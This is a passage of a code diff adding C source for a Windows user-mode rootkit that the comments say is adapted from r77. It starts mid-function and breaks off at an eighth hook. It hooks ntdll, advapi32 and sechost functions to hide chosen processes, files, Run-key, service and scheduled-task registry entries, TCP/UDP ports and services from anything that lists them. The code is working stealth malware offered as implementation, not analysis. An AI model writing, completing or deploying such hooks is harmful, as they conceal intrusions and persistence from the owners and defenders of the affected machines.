sizeof(WCHAR); + if (nameLen >= bufferSize / sizeof(WCHAR)) nameLen = (bufferSize / sizeof(WCHAR)) - 1; + memcpy(buffer, nameInfo->Name, nameLen * sizeof(WCHAR)); + buffer[nameLen] = L'\0'; + + HeapFree(GetProcessHeap(), 0, info); + return TRUE; +} + +/* ============================================================================ + * Helper: Check if a registry key path is one we should filter subkeys for + * (Run keys, services, scheduled tasks) + * ============================================================================ */ + +static BOOL IsRegistryKeyRelevant(HANDLE hKey) { + WCHAR keyPath[512]; + if (!GetRegistryKeyName(hKey, keyPath, sizeof(keyPath))) return FALSE; + + /* We hide from Run keys and Services */ + static const wchar_t *RELEVANT_PATHS[] = { + L"\\Registry\\Machine\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", + L"\\Registry\\User\\", /* match partial for HKU\\...\\Run */ + L"\\Registry\\Machine\\System\\CurrentControlSet\\Services", + L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree", + NULL + }; + + for (int i = 0; RELEVANT_PATHS[i]; i++) { + if (_wcsnicmp(keyPath, RELEVANT_PATHS[i], wcslen(RELEVANT_PATHS[i])) == 0) { + return TRUE; + } + } + + /* Also check if it's a user Run key */ + if (wcsstr(keyPath, L"\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") != NULL) + return TRUE; + + return FALSE; +} + +/* ============================================================================ + * Helper: Get file path from handle + * ============================================================================ */ + +static BOOL GetPathFromHandle(HANDLE hFile, LPWSTR buffer, DWORD bufferSize) { + DWORD len = GetFinalPathNameByHandleW(hFile, buffer, bufferSize, 0); + return (len > 0 && len < bufferSize); +} + +/* ============================================================================ + * File information helpers (adapted from r77) + * Get name, next entry offset, and set next entry offset for each + * FILE_INFORMATION_CLASS variant. + * ============================================================================ */ + +static LPWSTR FileInformationGetName(PVOID info, ULONG infoClass, PULONG nameLength) { + switch (infoClass) { + case FileDirectoryInformation: { + PNT_FILE_DIRECTORY_INFORMATION p = (PNT_FILE_DIRECTORY_INFORMATION)info; + *nameLength = p->FileNameLength; + return p->FileName; + } + case FileFullDirectoryInformation: { + PNT_FILE_FULL_DIR_INFORMATION p = (PNT_FILE_FULL_DIR_INFORMATION)info; + *nameLength = p->FileNameLength; + return p->FileName; + } + case FileBothDirectoryInformation: { + PNT_FILE_BOTH_DIR_INFORMATION p = (PNT_FILE_BOTH_DIR_INFORMATION)info; + *nameLength = p->FileNameLength; + return p->FileName; + } + case FileIdBothDirectoryInformation: { + PNT_FILE_ID_BOTH_DIR_INFORMATION p = (PNT_FILE_ID_BOTH_DIR_INFORMATION)info; + *nameLength = p->FileNameLength; + return p->FileName; + } + case FileIdFullDirectoryInformation: { + PNT_FILE_ID_FULL_DIR_INFORMATION p = (PNT_FILE_ID_FULL_DIR_INFORMATION)info; + *nameLength = p->FileNameLength; + return p->FileName; + } + case FileNamesInformation: { + PNT_FILE_NAMES_INFORMATION p = (PNT_FILE_NAMES_INFORMATION)info; + *nameLength = p->FileNameLength; + return p->FileName; + } + default: + *nameLength = 0; + return NULL; + } +} + +static ULONG FileInformationGetNextEntryOffset(PVOID info, ULONG infoClass) { + switch (infoClass) { + case FileDirectoryInformation: + return ((PNT_FILE_DIRECTORY_INFORMATION)info)->NextEntryOffset; + case FileFullDirectoryInformation: + return ((PNT_FILE_FULL_DIR_INFORMATION)info)->NextEntryOffset; + case FileBothDirectoryInformation: + return ((PNT_FILE_BOTH_DIR_INFORMATION)info)->NextEntryOffset; + case FileIdBothDirectoryInformation: + return ((PNT_FILE_ID_BOTH_DIR_INFORMATION)info)->NextEntryOffset; + case FileIdFullDirectoryInformation: + return ((PNT_FILE_ID_FULL_DIR_INFORMATION)info)->NextEntryOffset; + case FileNamesInformation: + return ((PNT_FILE_NAMES_INFORMATION)info)->NextEntryOffset; + default: + return 0; + } +} + +static void FileInformationSetNextEntryOffset(PVOID info, ULONG infoClass, ULONG value) { + switch (infoClass) { + case FileDirectoryInformation: + ((PNT_FILE_DIRECTORY_INFORMATION)info)->NextEntryOffset = value; + break; + case FileFullDirectoryInformation: + ((PNT_FILE_FULL_DIR_INFORMATION)info)->NextEntryOffset = value; + break; + case FileBothDirectoryInformation: + ((PNT_FILE_BOTH_DIR_INFORMATION)info)->NextEntryOffset = value; + break; + case FileIdBothDirectoryInformation: + ((PNT_FILE_ID_BOTH_DIR_INFORMATION)info)->NextEntryOffset = value; + break; + case FileIdFullDirectoryInformation: + ((PNT_FILE_ID_FULL_DIR_INFORMATION)info)->NextEntryOffset = value; + break; + case FileNamesInformation: + ((PNT_FILE_NAMES_INFORMATION)info)->NextEntryOffset = value; + break; + default: + break; + } +} + +/* ============================================================================ + * Helper: Check if a file entry should be hidden + * ============================================================================ */ + +static BOOL ShouldHideFileEntry(PVOID entry, ULONG infoClass) { + ULONG nameLength = 0; + LPWSTR name = FileInformationGetName(entry, infoClass, &nameLength); + if (!name || nameLength == 0) return FALSE; + + /* Create null-terminated copy of the name */ + ULONG charLen = nameLength / sizeof(WCHAR); + WCHAR nameBuf[MAX_PATH]; + if (charLen >= MAX_PATH) charLen = MAX_PATH - 1; + memcpy(nameBuf, name, charLen * sizeof(WCHAR)); + nameBuf[charLen] = L'\0'; + + if (rk_match_name(nameBuf, HIDE_FILES)) + return TRUE; + + /* Dynamic hiding: also check exe name from shared memory */ + if (g_RkHookShm && g_RkHookShm->hide_exe_name[0] && + _wcsicmp(nameBuf, g_RkHookShm->hide_exe_name) == 0) + return TRUE; + + return FALSE; +} + +/* ============================================================================ + * Helper: Filter directory listing results (linked list manipulation) + * Used by both NtQueryDirectoryFile and NtQueryDirectoryFileEx + * ============================================================================ */ + +static NTSTATUS FilterDirectoryResults(PVOID fileInfo, ULONG infoClass, NTSTATUS originalStatus) { + if (originalStatus != 0) return originalStatus; /* STATUS_SUCCESS = 0 */ + + PVOID current = fileInfo; + PVOID previous = NULL; + BOOL allHidden = TRUE; + + for (;;) { + ULONG nextOffset = FileInformationGetNextEntryOffset(current, infoClass); + BOOL hide = ShouldHideFileEntry(current, infoClass); + + if (hide) { + if (nextOffset == 0) { + /* Last entry — set previous entry's next to 0, or if first entry, fail */ + if (previous) { + FileInformationSetNextEntryOffset(previous, infoClass, 0); + } else { + /* All entries were hidden */ + /* We can't return empty — return STATUS_NO_MORE_FILES if this was the only entry */ + } + } else { + /* Not last entry — point previous to next, or shift buffer if first */ + if (previous) { + ULONG prevNext = FileInformationGetNextEntryOffset(previous, infoClass); + FileInformationSetNextEntryOffset(previous, infoClass, prevNext + nextOffset); + } else { + /* First entry hidden — shift entire buffer forward */ + BYTE *src = (BYTE *)current + nextOffset; + /* Calculate exact remaining size by walking the chain. + * For the last entry, use its NextEntryOffset-implied size: + * the struct base size + FileNameLength (aligned to 8 bytes). */ + ULONG remaining = 0; + PVOID walker = src; + for (;;) { + ULONG wo = FileInformationGetNextEntryOffset(walker, infoClass); + if (wo == 0) { + /* Last entry: compute actual size from struct fields. + * All FILE_*_INFORMATION structs have FileNameLength + * and FileName[] at the end. The base size varies but + * the name starts at a fixed offset within the struct. + * Use the name pointer offset + name length as the size. */ + ULONG nameLen = 0; + LPWSTR namePtr = FileInformationGetName(walker, infoClass, &nameLen); + if (namePtr && nameLen > 0) { + /* Size = offset of FileName within struct + FileNameLength */ + ULONG nameOffset = (ULONG)((BYTE *)namePtr - (BYTE *)walker); + remaining += nameOffset + nameLen; + } else { + /* Fallback: use a conservative base struct size */ + remaining += 592; /* sizeof(FILE_ID_BOTH_DIR_INFORMATION) padded */ + } + break; + } + remaining += wo; + walker = (BYTE *)walker + wo; + } + memmove(current, src, remaining); + continue; /* Re-examine current position (now has new data) */ + } + } + } else { + allHidden = FALSE; + previous = current; + } + + if (nextOffset == 0) break; + current = (BYTE *)current + nextOffset; + } + + if (allHidden && previous == NULL) { + /* Every single entry was hidden */ + return (NTSTATUS)0x80000006L; /* STATUS_NO_MORE_FILES */ + } + + return originalStatus; +} + +/* ============================================================================ + * Helper: Filter service enumeration results + * ============================================================================ */ + +static void FilterEnumServiceStatusProcessW( + LPENUM_SERVICE_STATUS_PROCESSW services, + LPDWORD servicesReturned) +{ + if (!services || !servicesReturned || *servicesReturned == 0) return; + + DWORD count = *servicesReturned; + DWORD write = 0; + + for (DWORD i = 0; i < count; i++) { + BOOL hide = FALSE; + if (rk_match_name(services[i].lpServiceName, HIDE_SERVICES)) + hide = TRUE; + if (!hide && rk_match_name(services[i].lpDisplayName, HIDE_SERVICES)) + hide = TRUE; + + if (!hide) { + if (write != i) { + services[write] = services[i]; + } + write++; + } + } + + *servicesReturned = write; +} + +/* ============================================================================ + * Registry cache helpers (O(N) trick from r77) + * + * When enumerating registry keys/values with incrementing indices, + * we adjust the requested index upward to skip hidden entries. + * The cache tracks per-(handle) the adjustment needed. + * ============================================================================ */ + +static REG_CACHE_ENTRY *RegCacheFind(REG_CACHE_ENTRY *cache, int count, HANDLE hKey, DWORD tid) { + for (int i = 0; i < count; i++) { + if (cache[i].KeyHandle == hKey && cache[i].ThreadId == tid) return &cache[i]; + } + return NULL; +} + +static REG_CACHE_ENTRY *RegCacheGetOrCreate(REG_CACHE_ENTRY *cache, int *count, HANDLE hKey, DWORD tid) { + REG_CACHE_ENTRY *entry = RegCacheFind(cache, *count, hKey, tid); + if (entry) return entry; + if (*count >= REG_CACHE_MAX) { + /* Evict oldest (index 0) */ + memmove(&cache[0], &cache[1], (REG_CACHE_MAX - 1) * sizeof(REG_CACHE_ENTRY)); + *count = REG_CACHE_MAX - 1; + } + entry = &cache[*count]; + entry->KeyHandle = hKey; + entry->OriginalIndex = 0; + entry->HiddenCount = 0; + entry->ThreadId = tid; + (*count)++; + return entry; +} + +static void RegCacheReset(REG_CACHE_ENTRY *cache, int *count, HANDLE hKey, DWORD tid) { + for (int i = 0; i < *count; i++) { + if (cache[i].KeyHandle == hKey && cache[i].ThreadId == tid) { + cache[i].OriginalIndex = 0; + cache[i].HiddenCount = 0; + return; + } + } +} + +/* ============================================================================ + * HOOK 1: NtQuerySystemInformation — Process hiding + * + * When SystemProcessInformation (5) is queried, walk the linked list of + * SYSTEM_PROCESS_INFORMATION and unlink entries for hidden processes. + * Also adjusts CPU time reported by SystemProcessorPerformanceInformation + * to account for hidden process CPU usage (from r77). + * ============================================================================ */ + +static NTSTATUS NTAPI HookedNtQuerySystemInformation( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength) +{ + NTSTATUS status = OriginalNtQuerySystemInformation( + SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); + + if (status != 0) return status; /* Non-zero = failure */ + + if (SystemInformationClass == SystemProcessInformation && SystemInformation) { + /* r77-style linked list manipulation: unlink hidden entries by + * adjusting NextEntryOffset pointers. Never use memmove — + * it's fragile and unnecessary for a linked list. */ + PNT_SYSTEM_PROCESS_INFORMATION prev = NULL; + PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)SystemInformation; + + for (;;) { + BOOL hide = FALSE; + if (current->ImageName.Buffer && current->ImageName.Length > 0) { + WCHAR nameBuf[MAX_PATH]; + ULONG charLen = current->ImageName.Length / sizeof(WCHAR); + if (charLen >= MAX_PATH) charLen = MAX_PATH - 1; + memcpy(nameBuf, current->ImageName.Buffer, charLen * sizeof(WCHAR)); + nameBuf[charLen] = L'\0'; + + hide = rk_match_name(nameBuf, HIDE_PROCESSES); + + /* Dynamic hiding: check PID and exe name from shared memory */ + if (!hide && g_RkHookShm) { + DWORD hpid = g_RkHookShm->hide_pid; + if (hpid != 0 && (DWORD)(ULONG_PTR)current->UniqueProcessId == hpid) + hide = TRUE; + if (!hide && g_RkHookShm->hide_exe_name[0] && + _wcsicmp(nameBuf, g_RkHookShm->hide_exe_name) == 0) + hide = TRUE; + } + } + + if (hide) { + /* Unlink from the singly-linked list (r77 approach) */ + if (prev) { + if (current->NextEntryOffset) + prev->NextEntryOffset += current->NextEntryOffset; + else + prev->NextEntryOffset = 0; + } + /* If prev is NULL (first entry hidden), we can't unlink it + * from a singly-linked list. The first entry is always PID 0 + * (Idle Process) which is never hidden, so this case doesn't + * occur in practice. Just skip it. */ + } else { + prev = current; + } + + if (current->NextEntryOffset == 0) break; + current = (PNT_SYSTEM_PROCESS_INFORMATION)((BYTE *)current + current->NextEntryOffset); + } + } + + return status; +} + +/* ============================================================================ + * HOOK 2: NtQueryDirectoryFile — File/directory hiding + * ============================================================================ */ + +static NTSTATUS NTAPI HookedNtQueryDirectoryFile( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + ULONG FileInformationClass, + BOOLEAN ReturnSingleEntry, + PUNICODE_STRING FileName, + BOOLEAN RestartScan) +{ + NTSTATUS status = OriginalNtQueryDirectoryFile( + FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, + FileInformation, Length, FileInformationClass, + ReturnSingleEntry, FileName, RestartScan); + + if (status != 0) return status; + + /* Only filter known information classes */ + if (FileInformationClass != FileDirectoryInformation && + FileInformationClass != FileFullDirectoryInformation && + FileInformationClass != FileBothDirectoryInformation && + FileInformationClass != FileIdBothDirectoryInformation && + FileInformationClass != FileIdFullDirectoryInformation && + FileInformationClass != FileNamesInformation) { + return status; + } + + if (!FileInformation) return status; + + if (ReturnSingleEntry) { + // Loop to skip consecutive hidden entries (the original function + // returns one entry at a time, so we must keep requesting the next + // until we find one that isn't hidden or run out of entries) + while (ShouldHideFileEntry(FileInformation, FileInformationClass)) { + status = OriginalNtQueryDirectoryFile( + FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, + FileInformation, Length, FileInformationClass, + ReturnSingleEntry, FileName, FALSE); + if (status != 0) return status; + } + return status; + } + + return FilterDirectoryResults(FileInformation, FileInformationClass, status); +} + +/* ============================================================================ + * HOOK 3: NtQueryDirectoryFileEx — File/directory hiding (Windows 10 RS3+) + * ============================================================================ */ + +#define SL_RESTART_SCAN 0x01 +#define SL_RETURN_SINGLE_ENTRY 0x02 + +static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + ULONG FileInformationClass, + ULONG QueryFlags, + PUNICODE_STRING FileName) +{ + NTSTATUS status = OriginalNtQueryDirectoryFileEx( + FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, + FileInformation, Length, FileInformationClass, + QueryFlags, FileName); + + if (status != 0) return status; + + /* Only filter known information classes */ + if (FileInformationClass != FileDirectoryInformation && + FileInformationClass != FileFullDirectoryInformation && + FileInformationClass != FileBothDirectoryInformation && + FileInformationClass != FileIdBothDirectoryInformation && + FileInformationClass != FileIdFullDirectoryInformation && + FileInformationClass != FileNamesInformation) { + return status; + } + + if (!FileInformation) return status; + + if (QueryFlags & SL_RETURN_SINGLE_ENTRY) { + // Loop to skip consecutive hidden entries + while (ShouldHideFileEntry(FileInformation, FileInformationClass)) { + status = OriginalNtQueryDirectoryFileEx( + FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, + FileInformation, Length, FileInformationClass, + (QueryFlags & ~SL_RESTART_SCAN), FileName); + if (status != 0) return status; + } + return status; + } + + return FilterDirectoryResults(FileInformation, FileInformationClass, status); +} + +/* ============================================================================ + * HOOK 4: NtEnumerateKey — Registry subkey hiding + * + * Uses TLS-based caching for O(N) performance. When index=0 we reset + * the cache. For each call, we adjust the index to account for + * previously hidden entries. + * ============================================================================ */ + +static NTSTATUS NTAPI HookedNtEnumerateKey( + HANDLE KeyHandle, + ULONG Index, + NT_KEY_INFORMATION_CLASS KeyInformationClass, + PVOID KeyInformation, + ULONG Length, + PULONG ResultLength) +{ + /* Check if this is a relevant key (Run, Services, etc.) */ + if (!IsRegistryKeyRelevant(KeyHandle)) { + return OriginalNtEnumerateKey(KeyHandle, Index, KeyInformationClass, + KeyInformation, Length, ResultLength); + } + + EnsureRegCacheLockInit(); + DWORD tid = GetCurrentThreadId(); + + EnterCriticalSection(&g_RegCacheLock); + + /* Reset cache when starting from index 0 */ + if (Index == 0) { + RegCacheReset(g_RegKeyCache, &g_RegKeyCacheCount, KeyHandle, tid); + } + + REG_CACHE_ENTRY *cache = RegCacheGetOrCreate(g_RegKeyCache, &g_RegKeyCacheCount, KeyHandle, tid); + + if (Index == 0) { + cache->OriginalIndex = 0; + cache->HiddenCount = 0; + } + + /* Adjust index: caller sees indices without hidden entries */ + ULONG adjustedIndex = Index + cache->HiddenCount; + + LeaveCriticalSection(&g_RegCacheLock); + + for (;;) { + NTSTATUS status = OriginalNtEnumerateKey(KeyHandle, adjustedIndex, + KeyInformationClass, + KeyInformation, Length, ResultLength); + + if (status != 0) return status; + + /* Extract subkey name */ + WCHAR nameBuf[256]; + ULONG nameLen = 0; + LPWSTR name = NULL; + + if (KeyInformationClass == KeyBasicInformation) { + PNT_KEY_BASIC_INFORMATION info = (PNT_KEY_BASIC_INFORMATION)KeyInformation; + name = info->Name; + nameLen = info->NameLength; + } else if (KeyInformationClass == KeyNodeInformation) { + PNT_KEY_NODE_INFORMATION info = (PNT_KEY_NODE_INFORMATION)KeyInformation; + name = info->Name; + nameLen = info->NameLength; + } else { + EnterCriticalSection(&g_RegCacheLock); + cache = RegCacheFind(g_RegKeyCache, g_RegKeyCacheCount, KeyHandle, tid); + if (cache) cache->OriginalIndex = adjustedIndex + 1; + LeaveCriticalSection(&g_RegCacheLock); + return status; + } + + if (name && nameLen > 0) { + ULONG charLen = nameLen / sizeof(WCHAR); + if (charLen >= 256) charLen = 255; + memcpy(nameBuf, name, charLen * sizeof(WCHAR)); + nameBuf[charLen] = L'\0'; + + if (rk_match_name(nameBuf, HIDE_REG_KEYS)) { + /* Hidden — skip this entry */ + EnterCriticalSection(&g_RegCacheLock); + cache = RegCacheFind(g_RegKeyCache, g_RegKeyCacheCount, KeyHandle, tid); + if (cache) cache->HiddenCount++; + LeaveCriticalSection(&g_RegCacheLock); + adjustedIndex++; + continue; + } + } + + EnterCriticalSection(&g_RegCacheLock); + cache = RegCacheFind(g_RegKeyCache, g_RegKeyCacheCount, KeyHandle, tid); + if (cache) cache->OriginalIndex = adjustedIndex + 1; + LeaveCriticalSection(&g_RegCacheLock); + return status; + } +} + +/* ============================================================================ + * HOOK 5: NtEnumerateValueKey — Registry value hiding + * ============================================================================ */ + +static NTSTATUS NTAPI HookedNtEnumerateValueKey( + HANDLE KeyHandle, + ULONG Index, + NT_KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + PVOID KeyValueInformation, + ULONG Length, + PULONG ResultLength) +{ + /* Check if this is a relevant key */ + if (!IsRegistryKeyRelevant(KeyHandle)) { + return OriginalNtEnumerateValueKey(KeyHandle, Index, KeyValueInformationClass, + KeyValueInformation, Length, ResultLength); + } + + EnsureRegCacheLockInit(); + DWORD tid = GetCurrentThreadId(); + + EnterCriticalSection(&g_RegCacheLock); + + if (Index == 0) { + RegCacheReset(g_RegValueCache, &g_RegValueCacheCount, KeyHandle, tid); + } + + REG_CACHE_ENTRY *cache = RegCacheGetOrCreate(g_RegValueCache, &g_RegValueCacheCount, KeyHandle, tid); + + if (Index == 0) { + cache->OriginalIndex = 0; + cache->HiddenCount = 0; + } + + ULONG adjustedIndex = Index + cache->HiddenCount; + + LeaveCriticalSection(&g_RegCacheLock); + + for (;;) { + NTSTATUS status = OriginalNtEnumerateValueKey(KeyHandle, adjustedIndex, + KeyValueInformationClass, + KeyValueInformation, Length, ResultLength); + + if (status != 0) return status; + + /* Extract value name */ + WCHAR nameBuf[256]; + ULONG nameLen = 0; + LPWSTR name = NULL; + + if (KeyValueInformationClass == KeyValueBasicInformation) { + PNT_KEY_VALUE_BASIC_INFORMATION info = (PNT_KEY_VALUE_BASIC_INFORMATION)KeyValueInformation; + name = info->Name; + nameLen = info->NameLength; + } else if (KeyValueInformationClass == KeyValueFullInformation) { + PNT_KEY_VALUE_FULL_INFORMATION info = (PNT_KEY_VALUE_FULL_INFORMATION)KeyValueInformation; + name = info->Name; + nameLen = info->NameLength; + } else { + EnterCriticalSection(&g_RegCacheLock); + cache = RegCacheFind(g_RegValueCache, g_RegValueCacheCount, KeyHandle, tid); + if (cache) cache->OriginalIndex = adjustedIndex + 1; + LeaveCriticalSection(&g_RegCacheLock); + return status; + } + + if (name && nameLen > 0) { + ULONG charLen = nameLen / sizeof(WCHAR); + if (charLen >= 256) charLen = 255; + memcpy(nameBuf, name, charLen * sizeof(WCHAR)); + nameBuf[charLen] = L'\0'; + + if (rk_match_name(nameBuf, HIDE_REG_VALUES)) { + EnterCriticalSection(&g_RegCacheLock); + cache = RegCacheFind(g_RegValueCache, g_RegValueCacheCount, KeyHandle, tid); + if (cache) cache->HiddenCount++; + LeaveCriticalSection(&g_RegCacheLock); + adjustedIndex++; + continue; + } + } + + EnterCriticalSection(&g_RegCacheLock); + cache = RegCacheFind(g_RegValueCache, g_RegValueCacheCount, KeyHandle, tid); + if (cache) cache->OriginalIndex = adjustedIndex + 1; + LeaveCriticalSection(&g_RegCacheLock); + return status; + } +} + +/* ============================================================================ + * HOOK 6: NtDeviceIoControlFile — TCP/UDP port hiding via NSI + * + * The Network Store Interface (NSI) uses DeviceIoControl to the + * \Device\Nsi device. When IOCTL_NSI_GETALLPARAM is called, we + * filter the results to remove connections on hidden ports. + * ============================================================================ */ + +static BOOL IsNsiDevice(HANDLE fileHandle) { + /* Check if the handle is the NSI device by querying its name. + * Use GetFinalPathNameByHandleW — but for device handles this may fail. + * Instead we use NtQueryObject to get the device name. */ + + /* Simplified: check ObjectNameInformation (type 1) */ + typedef NTSTATUS (NTAPI *pfnNtQueryObject)(HANDLE, ULONG, PVOID, ULONG, PULONG); + static pfnNtQueryObject fnNtQueryObject = NULL; + if (!fnNtQueryObject) { + fnNtQueryObject = (pfnNtQueryObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryObject"); + if (!fnNtQueryObject) return FALSE; + } + + BYTE buf[512]; + ULONG needed = 0; + NTSTATUS status = fnNtQueryObject(fileHandle, 1 /* ObjectNameInformation */, buf, sizeof(buf), &needed); + if (status != 0) return FALSE; + + /* OBJECT_NAME_INFORMATION is { UNICODE_STRING Name; } */ + PUNICODE_STRING nameStr = (PUNICODE_STRING)buf; + if (!nameStr->Buffer || nameStr->Length == 0) return FALSE; + + /* Check for \\Device\\Nsi */ + WCHAR nameBuf[128]; + ULONG charLen = nameStr->Length / sizeof(WCHAR); + if (charLen >= 128) return FALSE; + memcpy(nameBuf, nameStr->Buffer, charLen * sizeof(WCHAR)); + nameBuf[charLen] = L'\0'; + + return (_wcsicmp(nameBuf, L"\\Device\\Nsi") == 0); +} + +static void FilterNsiTcpEntries(PNT_NSI_PARAM param) { + if (!param || !param->Entries || param->Count == 0 || param->EntrySize == 0) return; + + BYTE *entries = (BYTE *)param->Entries; + BYTE *processEntries = (BYTE *)param->ProcessEntries; + BYTE *statusEntries = (BYTE *)param->StatusEntries; + + ULONG writeIdx = 0; + + for (ULONG i = 0; i < param->Count; i++) { + BOOL hide = FALSE; + BYTE *entry = entries + (i * param->EntrySize); + + /* Try IPv4 TCP entry layout */ + if (param->EntrySize >= sizeof(NT_NSI_TCP_ENTRY)) { + PNT_NSI_TCP_ENTRY tcp = (PNT_NSI_TCP_ENTRY)entry; + USHORT localPort = _byteswap_ushort(tcp->LocalPort); + USHORT remotePort = _byteswap_ushort(tcp->RemotePort); + if (rk_match_port(localPort, HIDE_TCP_PORTS) || rk_match_port(remotePort, HIDE_TCP_PORTS)) { + hide = TRUE; + } + } + + /* Try IPv6 TCP entry layout */ + if (!hide && param->EntrySize >= sizeof(NT_NSI_TCP6_ENTRY)) { + PNT_NSI_TCP6_ENTRY tcp6 = (PNT_NSI_TCP6_ENTRY)entry; + USHORT localPort = _byteswap_ushort(tcp6->LocalPort); + USHORT remotePort = _byteswap_ushort(tcp6->RemotePort); + if (rk_match_port(localPort, HIDE_TCP_PORTS) || rk_match_port(remotePort, HIDE_TCP_PORTS)) { + hide = TRUE; + } + } + + if (!hide) { + if (writeIdx != i) { + memcpy(entries + (writeIdx * param->EntrySize), + entry, param->EntrySize); + if (processEntries && param->ProcessEntrySize > 0) { + memcpy(processEntries + (writeIdx * param->ProcessEntrySize), + processEntries + (i * param->ProcessEntrySize), + param->ProcessEntrySize); + } + if (statusEntries && param->StatusEntrySize > 0) { + memcpy(statusEntries + (writeIdx * param->StatusEntrySize), + statusEntries + (i * param->StatusEntrySize), + param->StatusEntrySize); + } + } + writeIdx++; + } + } + + param->Count = writeIdx; +} + +static void FilterNsiUdpEntries(PNT_NSI_PARAM param) { + if (!param || !param->Entries || param->Count == 0 || param->EntrySize == 0) return; + + BYTE *entries = (BYTE *)param->Entries; + BYTE *processEntries = (BYTE *)param->ProcessEntries; + BYTE *statusEntries = (BYTE *)param->StatusEntries; + + ULONG writeIdx = 0; + + for (ULONG i = 0; i < param->Count; i++) { + BOOL hide = FALSE; + BYTE *entry = entries + (i * param->EntrySize); + + if (param->EntrySize >= sizeof(NT_NSI_UDP_ENTRY)) { + PNT_NSI_UDP_ENTRY udp = (PNT_NSI_UDP_ENTRY)entry; + USHORT localPort = _byteswap_ushort(udp->LocalPort); + if (rk_match_port(localPort, HIDE_UDP_PORTS)) { + hide = TRUE; + } + } + + if (!hide && param->EntrySize >= sizeof(NT_NSI_UDP6_ENTRY)) { + PNT_NSI_UDP6_ENTRY udp6 = (PNT_NSI_UDP6_ENTRY)entry; + USHORT localPort = _byteswap_ushort(udp6->LocalPort); + if (rk_match_port(localPort, HIDE_UDP_PORTS)) { + hide = TRUE; + } + } + + if (!hide) { + if (writeIdx != i) { + memcpy(entries + (writeIdx * param->EntrySize), + entry, param->EntrySize); + if (processEntries && param->ProcessEntrySize > 0) { + memcpy(processEntries + (writeIdx * param->ProcessEntrySize), + processEntries + (i * param->ProcessEntrySize), + param->ProcessEntrySize); + } + if (statusEntries && param->StatusEntrySize > 0) { + memcpy(statusEntries + (writeIdx * param->StatusEntrySize), + statusEntries + (i * param->StatusEntrySize), + param->StatusEntrySize); + } + } + writeIdx++; + } + } + + param->Count = writeIdx; +} + +static NTSTATUS NTAPI HookedNtDeviceIoControlFile( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG IoControlCode, + PVOID InputBuffer, + ULONG InputBufferLength, + PVOID OutputBuffer, + ULONG OutputBufferLength) +{ + NTSTATUS status = OriginalNtDeviceIoControlFile( + FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, + IoControlCode, InputBuffer, InputBufferLength, + OutputBuffer, OutputBufferLength); + + if (status != 0) return status; + + /* Only intercept NSI IOCTL */ + if (IoControlCode != IOCTL_NSI_GETALLPARAM) return status; + + /* Verify this is the NSI device */ + if (!IsNsiDevice(FileHandle)) return status; + + /* The NT_NSI_PARAM may be passed as InputBuffer or OutputBuffer + * depending on Windows version. Check both (r77 uses OutputBuffer). */ + PNT_NSI_PARAM param = NULL; + if (OutputBuffer && OutputBufferLength >= sizeof(NT_NSI_PARAM)) { + param = (PNT_NSI_PARAM)OutputBuffer; + } else if (InputBuffer && InputBufferLength >= sizeof(NT_NSI_PARAM)) { + param = (PNT_NSI_PARAM)InputBuffer; + } + if (!param) return status; + + /* Check the ModuleId to determine TCP vs UDP */ + if (!param->ModuleId) return status; + + if (memcmp(param->ModuleId, NSI_TCP_MODULEID, sizeof(NSI_TCP_MODULEID)) == 0) { + FilterNsiTcpEntries(param); + } else if (memcmp(param->ModuleId, NSI_UDP_MODULEID, sizeof(NSI_UDP_MODULEID)) == 0) { + FilterNsiUdpEntries(param); + } + + return status; +} + +/* ============================================================================ + * HOOK 7: EnumServicesStatusExW — Service hiding + * (Hooked in both advapi32.dll and sechost.dll) + * ============================================================================ */ + +static BOOL WINAPI HookedEnumServicesStatusExW_Advapi32( + SC_HANDLE hSCManager, + SC_ENUM_TYPE InfoLevel, + DWORD dwServiceType, + DWORD dwServiceState, + LPBYTE lpServices, + DWORD cbBufSize, + LPDWORD pcbBytesNeeded, + LPDWORD lpServicesReturned, + LPDWORD lpResumeHandle, + LPCWSTR pszGroupName) +{ + BOOL result = OriginalEnumServicesStatusExW_Advapi32( + hSCManager, InfoLevel, dwServiceType, dwServiceState, + lpServices, cbBufSize, pcbBytesNeeded, lpServicesReturned, + lpResumeHandle, pszGroupName); + + if (result && lpServices && lpServicesReturned && + InfoLevel == SC_ENUM_PROCESS_INFO) { + FilterEnumServiceStatusProcessW( + (LPENUM_SERVICE_STATUS_PROCESSW)lpServices, + lpServicesReturned); + } + + return result; +} + +static BOOL WINAPI HookedEnumServicesStatusExW_Sechost( + SC_HANDLE hSCManager, + SC_ENUM_TYPE InfoLevel, + DWORD dwServiceType, + DWORD dwServiceState, + LPBYTE lpServices, + DWORD cbBufSize, + LPDWORD pcbBytesNeeded, + LPDWORD lpServicesReturned, + LPDWORD lpResumeHandle, + LPCWSTR pszGroupName) +{ + BOOL result = OriginalEnumServicesStatusExW_Sechost( + hSCManager, InfoLevel, dwServiceType, dwServiceState, + lpServices, cbBufSize, pcbBytesNeeded, lpServicesReturned, + lpResumeHandle, pszGroupName); + + if (result && lpServices && lpServicesReturned && + InfoLevel == SC_ENUM_PROCESS_INFO) { + FilterEnumServiceStatusProcessW( + (LPENUM_SERVICE_STATUS_PROCESSW)lpServices, + lpServicesReturned); + } + + return result; +} + +/* ============================================================================ + * HOOK 8: 